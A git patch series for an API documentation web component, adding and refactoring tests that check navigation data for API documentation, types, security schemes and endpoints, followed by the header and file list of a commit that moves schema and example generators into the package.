+        const result = element[typesValue];
+        assert.equal(result.length, 9);
+        assert.typeOf(result[0].id, 'string');
+        assert.typeOf(result[0].label, 'string');
+      });
+
+      it('Collects endpoints information', () => {
+        const result = element[endpointsValue];
+        assert.equal(result.length, 5);
+        assert.typeOf(result[0].id, 'string');
+        assert.typeOf(result[0].label, 'string');
+        assert.typeOf(result[0].methods, 'array');
+        assert.typeOf(result[0].renderPath, 'boolean');
+      });
+
+      it('Collects methods information', () => {
+        const result = element[endpointsValue];
+        const { methods } = result[0];
+        assert.equal(methods.length, 1);
+        assert.typeOf(methods[0].id, 'string');
+        assert.typeOf(methods[0].method, 'string');
+      });
+    });
+  });
+
+  describe('data-endpoint-* attributes', () => {
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture(amf);
+        });
+
+        it('Each endpoint item has data-endpoint-path attribute', () => {
+          const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+            '.list-item.endpoint'
+          ));
+          assert.isAbove(nodes.length, 1);
+          for (let i = 0, len = nodes.length; i < len; i++) {
+            assert.typeOf(nodes[i].dataset.endpointPath, 'string');
+            assert.equal(nodes[i].dataset.endpointPath[0], '/');
+          }
+        });
+
+        it('Each endpoint item has data-endpoint-id attribute', () => {
+          const nodes = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+            '.list-item.endpoint'
+          ));
+          assert.isAbove(nodes.length, 1);
+          for (let i = 0, len = nodes.length; i < len; i++) {
+            assert.typeOf(nodes[i].dataset.endpointId, 'string');
+            assert.isAbove(nodes[i].dataset.endpointId.length, 0);
+          }
+        });
+      });
+    });
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'APIC-435');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Collects documentation information', () => {
+          const result = element[docsValue];
+          assert.equal(result.length, 4);
+
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'Test Console and Mocking Service');
+          assert.isTrue(result[0].isExternal);
+          assert.equal(result[0].url, 'http://');
+
+          assert.typeOf(result[1].id, 'string');
+          assert.equal(result[1].label, 'Legal');
+          assert.isTrue(result[1].isExternal);
+          assert.equal(result[1].url, 'http://');
+
+          assert.typeOf(result[2].id, 'string');
+          assert.equal(result[2].label, 'Another title');
+          assert.isTrue(result[2].isExternal);
+          assert.equal(result[2].url, 'http://');
+
+          assert.typeOf(result[3].id, 'string');
+          assert.equal(result[3].label, 'Fragment doc title');
+          assert.isTrue(result[3].isExternal);
+          assert.equal(result[3].url, 'http://');
+        });
+      });
+    });
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'ext-docs');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Collects documentation information', () => {
+          const result = element[docsValue];
+          assert.equal(result.length, 1);
+
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'Docs');
+          assert.isTrue(result[0].isExternal);
+          assert.equal(result[0].url, 'https://example.com');
+        });
+      });
+    });
+  });
+
+  describe('[collectData]()', () => {
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture(amf);
+        });
+
+        it('returns empty model when no argument', () => {
+          const result = element[collectData](undefined);
+          assert.typeOf(result, 'object');
+          assert.lengthOf(result.endpoints, 0);
+        });
+
+        it('returns endpoints array', () => {
+          const result = element[collectData](amf);
+          assert.isAbove(result.endpoints.length, 1);
+        });
+
+        it('deletes _typeIds', () => {
+          const result = element[collectData](amf);
+          assert.isUndefined(result._typeIds);
+        });
+
+        it('deletes _basePaths', () => {
+          const result = element[collectData](amf);
+          assert.isUndefined(result._basePaths);
+        });
+      });
+    });
+  });
+
+  describe('__amfChanged()', () => {
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+        /** @type AmfDocument */
+        let amf;
+
+        beforeEach(async () => {
+          amf = await loader.getGraph(compact, 'navigation-api');
+          element = await basicFixture(amf);
+        });
+
+        it('Does nothing when no model', () => {
+          element.__amfChanged(undefined);
+          // no error
+        });
+
+        it('Sets endpoints property', () => {
+          element.amf = amf;
+          assert.isAbove(element[endpointsValue].length, 1);
+        });
+      });
+    });
+  });
+
+  describe('Passive selection', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type AmfDocument */
+    let amf;
+
+    beforeEach(async () => {
+      amf = await loader.getGraph(true, 'navigation-api');
+      element = await basicFixture();
+      element.amf = amf;
+      await nextFrame();
+    });
+
+    it('selects an operation', () => {
+      const op = loader.lookupOperation(amf, '/files', 'post');
+      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation', undefined, true);
+      const node = element.shadowRoot.querySelector('.passive-selected');
+      assert.ok(node);
+    });
+
+    it('opens the collapse', () => {
+      const op = loader.lookupOperation(amf, '/files', 'post');
+      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation', undefined, true);
+      const endpoint = loader.lookupEndpoint(amf, '/files');
+      const id = endpoint['@id'];
+      const node = element.shadowRoot.querySelector(`.endpoint[data-endpoint-id="${id}"]`);
+      // @ts-ignore
+      assert.isTrue(node.nextElementSibling.opened);
+    });
+  });
+
+  describe('Changing model', () => {
+    /** @type AmfDocument */
+    let compactAmf;
+    /** @type AmfDocument */
+    let amf;
+    before(async () => {
+      amf = await loader.getGraph(false, 'navigation-api');
+      compactAmf = await loader.getGraph(true, 'navigation-api');
+    });
+
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      element = await basicFixture(amf);
+    });
+
+    it('closes methods collapse when changing model', async () => {
+      const collapseNode = element.shadowRoot.querySelector('.operation-collapse');
+      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.endpoint'));
+      node.click();
+      await aTimeout(0);
+      await aTimeout(0);
+
+      assert.equal(node.getAttribute('data-endpoint-opened'), "");
+      assert.equal(collapseNode.getAttribute('data-endpoint-opened'), "");
+      // @ts-ignore
+      assert.isTrue(collapseNode.opened);
+
+      /* eslint-disable-next-line require-atomic-updates */
+      element.amf = compactAmf;
+      await nextFrame();
+
+      assert.isNull(node.getAttribute('data-endpoint-opened'));
+      assert.isNull(collapseNode.getAttribute('data-endpoint-opened'));
+      // @ts-ignore
+      assert.isFalse(collapseNode.opened);
+    });
+  });
+});
diff --git a/test/navigation/documentation-fragment.test.js b/test/navigation/documentation-fragment.test.js
new file mode 100644
index 0000000..797628b
--- /dev/null
+++ b/test/navigation/documentation-fragment.test.js
@@ -0,0 +1,76 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationElement.js';
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('Documentation fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'documentation-fragment');
+          element = await basicFixture(amf);
+        });
+
+        it('collects the documentation information', () => {
+          const result = element[docsValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'About');
+        });
+
+        it('opens the Documentation', () => {
+          assert.isTrue(element.docsOpened);
+        });
+
+        it('sets the [isFragmentValue]', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('sets the summaryRendered', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('does not render the summary', async () => {
+          await nextFrame();
+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+
+        it('does not set types', () => {
+          assert.isUndefined(element[typesValue]);
+        });
+
+        it('does not set security', () => {
+          assert.isUndefined(element[securityValue]);
+        });
+
+        it('does not set endpoints', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/oas-external-docs.test.js b/test/navigation/oas-external-docs.test.js
new file mode 100644
index 0000000..9e15504
--- /dev/null
+++ b/test/navigation/oas-external-docs.test.js
@@ -0,0 +1,107 @@
+import { fixture, assert, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import {
+  docsValue,
+} from '../../src/elements/ApiNavigationElement.js';
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('OAS external documentation computations', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        describe('Data computations', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'ext-docs');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('has [docsValue]', () => {
+            assert.lengthOf(element[docsValue], 1, 'has 1 docs items');
+            assert.isTrue(element.hasDocs, 'hasDocs is set');
+          });
+
+          it('computes URL value', () => {
+            const [doc] = element[docsValue];
+            assert.equal(doc.url, 'https://example.com');
+          });
+
+          it('computes isExternal value', () => {
+            const [doc] = element[docsValue];
+            assert.isTrue(doc.isExternal);
+          });
+        });
+
+        describe('View rendering', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'ext-docs');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('renders list item with anchor', () => {
+            const node = element.shadowRoot.querySelector('a.list-item');
+            assert.ok(node, 'node is rendered');
+          });
+
+          it('opens anchor in a new tab', () => {
+            const node = element.shadowRoot.querySelector('a.list-item');
+            assert.equal(node.getAttribute('target'), '_blank');
+          });
+
+          it('has external URL', () => {
+            const node = element.shadowRoot.querySelector('a.list-item');
+            assert.equal(node.getAttribute('href'), 'https://example.com');
+          });
+        });
+
+        describe('Invalid URL', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'APIC-449');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('URL default to about:blank when invalid', () => {
+            const node = element.shadowRoot.querySelector('a.list-item');
+            assert.equal(node.getAttribute('href'), 'about:blank');
+          });
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/oas-security.test.js b/test/navigation/oas-security.test.js
new file mode 100644
index 0000000..1aff2ca
--- /dev/null
+++ b/test/navigation/oas-security.test.js
@@ -0,0 +1,151 @@
+import { fixture, assert, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import {
+  securityValue,
+} from '../../src/elements/ApiNavigationElement.js';
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('OAS security computations', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+
+        describe('API Keys', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'api-keys');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('computes names in the [securityValue] model', () => {
+            assert.lengthOf(element[securityValue], 4, 'has all security items');
+            assert.equal(element[securityValue][0].label, 'clientQuery - Api Key', 'has name for clientQuery');
+            assert.equal(element[securityValue][1].label, 'clientSecret - Api Key', 'has name for clientSecret');
+            assert.equal(element[securityValue][2].label, 'clientCookie - Api Key', 'has name for clientCookie');
+            assert.equal(element[securityValue][3].label, 'clientMulti - Api Key', 'has name for clientMulti');
+          });
+
+          it('renders security items', () => {
+            const nodes = element.shadowRoot.querySelectorAll('.security .list-item');
+            assert.lengthOf(nodes, 4, 'has all security items');
+            assert.equal(nodes[0].textContent.trim(), 'clientQuery - Api Key', 'has name for clientQuery');
+            assert.equal(nodes[1].textContent.trim(), 'clientSecret - Api Key', 'has name for clientSecret');
+            assert.equal(nodes[2].textContent.trim(), 'clientCookie - Api Key', 'has name for clientCookie');
+            assert.equal(nodes[3].textContent.trim(), 'clientMulti - Api Key', 'has name for clientMulti');
+          });
+        });
+
+        describe('Bearer token', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'oas-bearer');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('computes names in the [securityValue] model', () => {
+            assert.lengthOf(element[securityValue], 2, 'has all security items');
+            assert.equal(element[securityValue][0].label, 'bearerAuth - HTTP', 'has name for bearerAuth');
+            assert.equal(element[securityValue][1].label, 'basicAuth - HTTP', 'has name for basicAuth');
+          });
+
+          it('renders security items', () => {
+            const nodes = element.shadowRoot.querySelectorAll('.security .list-item');
+            assert.lengthOf(nodes, 2, 'has all security items');
+            assert.equal(nodes[0].textContent.trim(), 'bearerAuth - HTTP', 'has name for bearerAuth');
+            assert.equal(nodes[1].textContent.trim(), 'basicAuth - HTTP', 'has name for basicAuth');
+          });
+        });
+
+        describe('OAuth 2', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'oauth-flows');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('computes names in the [securityValue] model', () => {
+            assert.lengthOf(element[securityValue], 1, 'has all security items');
+            assert.equal(element[securityValue][0].label, 'oAuthSample - OAuth 2.0', 'has name for oAuthSample');
+          });
+
+          it('renders security items', () => {
+            const nodes = element.shadowRoot.querySelectorAll('.security .list-item');
+            assert.lengthOf(nodes, 1, 'has all security items');
+            assert.equal(nodes[0].textContent.trim(), 'oAuthSample - OAuth 2.0', 'has name for oAuthSample');
+          });
+        });
+
+        describe('OAS combo', () => {
+          /** @type ApiNavigationElement */
+          let element;
+          /** @type AmfDocument */
+          let amf;
+
+          before(async () => {
+            amf = await loader.getGraph(compact, 'oas-demo');
+          });
+
+          beforeEach(async () => {
+            element = await basicFixture(amf);
+          });
+
+          it('computes names in the [securityValue] model', () => {
+            assert.lengthOf(element[securityValue], 6, 'has all security items');
+            assert.equal(element[securityValue][0].label, 'ApiKeyAuth - Api Key', 'has name for ApiKeyAuth');
+            assert.equal(element[securityValue][1].label, 'OpenID - OpenID Connect', 'has name for OpenID');
+            assert.equal(element[securityValue][2].label, 'OAuth2 - OAuth 2.0', 'has name for OAuth2');
+            assert.equal(element[securityValue][3].label, 'BasicAuth - HTTP', 'has name for BasicAuth');
+            assert.equal(element[securityValue][4].label, 'BearerAuth - HTTP', 'has name for BearerAuth');
+            assert.equal(element[securityValue][5].label, 'ApiKeyQuery - Api Key', 'has name for ApiKeyQuery');
+          });
+
+          it('renders security items', () => {
+            const nodes = element.shadowRoot.querySelectorAll('.security .list-item');
+            assert.lengthOf(nodes, 6, 'has all security items');
+            assert.equal(nodes[0].textContent.trim(), 'ApiKeyAuth - Api Key', 'has name for ApiKeyAuth');
+            assert.equal(nodes[1].textContent.trim(), 'OpenID - OpenID Connect', 'has name for OpenID');
+            assert.equal(nodes[2].textContent.trim(), 'OAuth2 - OAuth 2.0', 'has name for OAuth2');
+            assert.equal(nodes[3].textContent.trim(), 'BasicAuth - HTTP', 'has name for BasicAuth');
+            assert.equal(nodes[4].textContent.trim(), 'BearerAuth - HTTP', 'has name for BearerAuth');
+            assert.equal(nodes[5].textContent.trim(), 'ApiKeyQuery - Api Key', 'has name for ApiKeyQuery');
+          });
+        });
+
+      });
+    });
+  });
+});
diff --git a/test/navigation/security-fragment.test.js b/test/navigation/security-fragment.test.js
new file mode 100644
index 0000000..7055905
--- /dev/null
+++ b/test/navigation/security-fragment.test.js
@@ -0,0 +1,78 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationElement.js';
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('Security fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'oauth2-fragment');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Documentation is undefined', () => {
+          assert.isUndefined(element[docsValue]);
+        });
+
+        it('Types is undefined', () => {
+          assert.isUndefined(element[typesValue]);
+        });
+
+        it('Security is computed', () => {
+          const result = element[securityValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'MyOauth');
+        });
+
+        it('Endpoints is undefined', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+
+        it('Security is opened', () => {
+          assert.isTrue(element.securityOpened);
+        });
+
+        it('[isFragmentValue] is set', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('summaryRendered is false', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('summary is not rendered', async () => {
+          await nextFrame();
+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+      });
+    });
+  });
+});
diff --git a/test/navigation/type-fragment.test.js b/test/navigation/type-fragment.test.js
new file mode 100644
index 0000000..2e87e47
--- /dev/null
+++ b/test/navigation/type-fragment.test.js
@@ -0,0 +1,78 @@
+import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import {
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+} from '../../src/elements/ApiNavigationElement.js';
+
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+
+describe('ApiNavigationElement', () => {
+  describe('Type fragment', () => {
+    const loader = new AmfLoader();
+
+    /**
+     * @param {AmfDocument=} amf
+     * @returns {Promise<ApiNavigationElement>}
+     */
+    async function basicFixture(amf) {
+      return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+    }
+
+    [false, true].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type ApiNavigationElement */
+        let element;
+
+        beforeEach(async () => {
+          const amf = await loader.getGraph(compact, 'type-fragment');
+          element = await basicFixture();
+          element.amf = amf;
+          await nextFrame();
+        });
+
+        it('Documentation is undefined', () => {
+          assert.isUndefined(element[docsValue]);
+        });
+
+        it('Types is computed', () => {
+          const result = element[typesValue];
+          assert.lengthOf(result, 1);
+          assert.typeOf(result[0].id, 'string');
+          assert.equal(result[0].label, 'A person resource');
+        });
+
+        it('Security is undefined', () => {
+          assert.isUndefined(element[securityValue]);
+        });
+
+        it('Endpoints is undefined', () => {
+          assert.isUndefined(element[endpointsValue]);
+        });
+
+        it('Types is opened', () => {
+          assert.isTrue(element.typesOpened);
+        });
+
+        it('[isFragmentValue] is set', () => {
+          assert.isTrue(element[isFragmentValue]);
+        });
+
+        it('summaryRendered is false', () => {
+          assert.isFalse(element.summaryRendered);
+        });
+
+        it('summary is not rendered', async () => {
+          await nextFrame();
+          const panel = element.shadowRoot.querySelector('.summary');
+          assert.notOk(panel);
+        });
+      });
+    });
+  });
+});
diff --git a/test/old/api-documentation.no-test.js b/test/old/api-documentation.no-test.js
index 31cbb4f..b3b3a1c 100644
--- a/test/old/api-documentation.no-test.js
+++ b/test/old/api-documentation.no-test.js
@@ -2,6 +2,7 @@
 import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing';
 import * as sinon from 'sinon/pkg/sinon-esm.js';
 import { AmfLoader } from '../amf-loader.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
 import '../../api-documentation.js';
 
 /** @typedef {import('../..').ApiDocumentationElement} ApiDocumentationElement */
@@ -539,16 +540,8 @@ describe('ApiDocumentationElement', () => {
       await aTimeout(0);
       assert.isTrue(element.handleNavigationEvents, 'getter returns the value');
       const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-      const e = new CustomEvent('api-navigation-selection-changed', {
-        bubbles: true,
-        detail: {
-          passive: false,
-          selected: op['@id'],
-          type: 'method'
-        }
-      });
 
-      document.body.dispatchEvent(e);
+      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation');
       await aTimeout(0);
       const node = element.shadowRoot.querySelector('api-method-documentation');
       assert.ok(node, 'method is rendered');
@@ -559,16 +552,7 @@ describe('ApiDocumentationElement', () => {
       element.handleNavigationEvents = true;
       await aTimeout(0);
       const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-      const e = new CustomEvent('api-navigation-selection-changed', {
-        bubbles: true,
-        detail: {
-          passive: true,
-          selected: op['@id'],
-          type: 'method'
-        }
-      });
-
-      document.body.dispatchEvent(e);
+      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation', undefined, true);
       await aTimeout(0);
       const node = element.shadowRoot.querySelector('api-method-documentation');
       assert.notOk(node, 'method is not rendered');
@@ -580,17 +564,7 @@ describe('ApiDocumentationElement', () => {
       await aTimeout(0);
       element.handleNavigationEvents = false;
       const op = AmfLoader.lookupOperation(amf, '/people', 'get');
-
-      const e = new CustomEvent('api-navigation-selection-changed', {
-        bubbles: true,
-        detail: {
-          passive: false,
-          selected: op['@id'],
-          type: 'method'
-        }
-      });
-
-      document.body.dispatchEvent(e);
+      NavigationEvents.apiNavigate(document.body, op['@id'], 'operation');
       await aTimeout(0);
       const node = element.shadowRoot.querySelector('api-method-documentation');
       assert.notOk(node, 'method is not rendered');
@@ -1047,7 +1021,7 @@ describe('ApiDocumentationElement', () => {
         it('renders SiteId type defined in library', async () => {
           const type = AmfLoader.lookupType(amf, 'SiteId');
           const element = await modelFixture(amf, 'type', type['@id']);
-          await aTimeout();
+          await aTimeout(0);
           const node = element.shadowRoot.querySelector('api-type-documentation');
           assert.ok(node, 'type is rendered');
           assert.typeOf(node.amf, 'array', 'amf is set');
@@ -1057,7 +1031,7 @@ describe('ApiDocumentationElement', () => {
         it('renders Language type defined in uses node in library', async () => {
           const type = AmfLoader.lookupType(amf, 'LocaleCode');
           const element = await modelFixture(amf, 'type', type['@id']);
-          await aTimeout();
+          await aTimeout(0);
           const node = element.shadowRoot.querySelector('api-type-documentation');
           assert.ok(node, 'type is rendered');
           assert.typeOf(node.amf, 'array', 'amf is set');
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index 7b153e8..e741e2a 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,6 +1,6 @@
 export default {
   files: 'test/**/*.test.js',
-  // files: 'test/serializer/*.test.js',
+  // files: 'test/navigation/*.test.js',
   // files: 'test/elements/ApiServerSelectorElement.test.js',
   // files: 'test/authorization/CustomMethod.test.js',
   nodeResolve: true,

From 795b15ae557adb6c3e6702f13098b2ab5ce673f2 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sun, 10 Oct 2021 13:15:02 -0700
Subject: [PATCH 06/36] chore: moving schema  / example genrators here

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/apis/APIC-187/APIC-187.raml              |   21 +
 demo/apis/APIC-187/dataType.raml              |  132 ++
 demo/apis/APIC-187/example.raml               |   84 ++
 demo/apis/APIC-188/APIC-188.raml              |   21 +
 demo/apis/APIC-188/dataType.raml              |  132 ++
 demo/apis/APIC-188/example.raml               |   84 ++
 demo/apis/APIC-233/APIC-233.raml              |   15 +
 demo/apis/APIC-391/APIC-391.raml              |   44 +
 .../examples/post-body-request-example.raml   |    7 +
 demo/apis/APIC-487/APIC-487.raml              |   36 +
 demo/apis/APIC-655/APIC-655.raml              |   44 +
 demo/apis/APIC-655/delivery.json              |   12 +
 demo/apis/APIC-690/APIC-690.raml              |   17 +
 demo/apis/APIC-690/datatypes/Address.raml     |   10 +
 demo/apis/APIC-690/datatypes/Customer.raml    |   17 +
 .../APIC-690/examples/CustomerExample2.raml   |   17 +
 .../APIC-690/examples/CustomersExample.raml   |   34 +
 demo/apis/SE-10469/SE-10469.raml              |   15 +-
 .../apis/SE-13092/Examples/PersonExample.raml |    7 +
 demo/apis/SE-13092/SE-13092.raml              |   37 +
 demo/apis/SE-13092/datatypes/Address.raml     |    5 +
 demo/apis/SE-13092/datatypes/InlineType.raml  |    5 +
 demo/apis/SE-13092/datatypes/Person.raml      |   15 +
 demo/apis/SE-22063/SE-22063.raml              |   14 +
 demo/apis/SE-22063/stock.raml                 |   41 +
 .../contact-email-example.raml                |    6 +
 .../contact-example.raml                      |    5 +
 .../contact-fax-example.raml                  |    5 +
 .../contact-website-example.raml              |    2 +
 .../apis/example-generator-api/example-1.raml |    6 +
 .../apis/example-generator-api/example-2.raml |    9 +
 .../apis/example-generator-api/example-3.raml |    4 +
 .../apis/example-generator-api/example-4.raml |    2 +
 .../apis/example-generator-api/example-5.raml |    4 +
 .../apis/example-generator-api/example-6.raml |    2 +
 .../apis/example-generator-api/example-7.raml |    5 +
 .../example-generator-api.raml                |  423 ++++++
 demo/apis/example-generator-api/example.json  |   14 +
 demo/apis/example-generator-api/example.xml   |   15 +
 demo/apis/example-generator-api/example.xsd   |   26 +
 .../examples/employee.raml                    |    7 +
 .../examples/employees.raml                   |    7 +
 .../linked-named-example.raml                 |   21 +
 .../named-example-with-link.raml              |    5 +
 .../example-generator-api/named-example.raml  |    9 +
 .../user-json-example.raml                    |   17 +
 .../user-raml-example.raml                    |   37 +
 demo/apis/example-generator-api/user.json     |    8 +
 demo/apis/example-generator-api/user.raml     |   18 +
 .../users-json-example.raml                   |   17 +
 .../users-raml-example.raml                   |   32 +
 demo/apis/example-generator-api/users.json    |    8 +
 demo/apis/schema-api/examples/person.json     |   14 +
 demo/apis/schema-api/examples/person.raml     |   14 +
 .../schema-api/examples/person.url.encoded    |    1 +
 demo/apis/schema-api/examples/person.xml      |   14 +
 demo/apis/schema-api/library/demo-types.raml  |   43 +
 demo/apis/schema-api/schema-api.raml          |  432 ++++++
 demo/apis/schema-api/schemas/person.json      |  104 ++
 demo/apis/schema-api/schemas/person.xsd       |   26 +
 demo/apis/schema-api/types/DemoPerson.raml    |   67 +
 .../tracked-examples/datatypes/employee.raml  |    5 +
 .../tracked-examples/examples/employee.raml   |    4 +
 .../tracked-examples/examples/employees.raml  |    8 +
 .../tracked-examples/tracked-to-linked.raml   |   28 +
 demo/model.mjs                                |   14 +-
 index.d.ts                                    |    8 +-
 index.js                                      |    6 +-
 package-lock.json                             |   17 -
 package.json                                  |    2 +-
 src/elements/ApiDocumentationBase.d.ts        |    2 +-
 src/elements/ApiDocumentationBase.js          |    4 +-
 src/elements/ApiOperationDocumentElement.js   |    3 +-
 src/elements/ApiPayloadDocumentElement.js     |    2 +-
 src/elements/ApiSchemaDocumentElement.js      |    4 +-
 src/lib/AmfInputParser.js                     |    2 +-
 src/lib/AmfParameterMixin.js                  |    2 +-
 src/lib/PayloadUtils.js                       |    4 +-
 src/schema/ApiExampleGenerator.d.ts           |   40 +
 src/schema/ApiExampleGenerator.js             |  120 ++
 src/schema/ApiMonacoSchemaGenerator.d.ts      |   32 +
 src/schema/ApiMonacoSchemaGenerator.js        |  285 ++++
 src/schema/ApiSchemaGenerator.d.ts            |   52 +
 src/schema/ApiSchemaGenerator.js              |  115 ++
